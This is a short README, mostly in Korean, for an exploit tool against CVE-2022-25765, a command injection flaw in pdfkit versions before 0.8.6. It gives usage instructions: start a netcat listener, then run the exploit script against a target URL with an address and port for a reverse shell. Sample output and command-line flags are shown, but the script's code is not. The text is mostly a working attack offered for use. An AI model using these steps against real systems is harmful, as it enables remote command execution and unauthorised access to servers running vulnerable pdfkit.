PDFkit-CMD-Injection (CVE-2022-25765)

CVE-2022-25765 pdfkit < 0.8.6의 명령 삽입(Command Injection)에 대한 익스플로잇

취약점에 대한 자세한 내용은 여기에서 확인하세요.

PoC

호스트에서 netcat을 실행하세요:

$ nc -lvnp 1337

익스플로잇 실행 (예시):

$ ./CVE-2022-25765.py -t http://localhost -a 10.10.14.122 -p 1337
[*] Input target address is http://localhost
[*] Input address for reverse connect is 10.10.14.122
[*] Input port is 1337
[!] Run the shell... Press Ctrl+C after successful connection

플래그:

-t, --target  Address of target in http-format
-a, --addr    Address for reverse connect
-p, --port    Port for reverse connect, 9001 by default

PDFkit-CMD-Injection-CVE-2022-25765

인기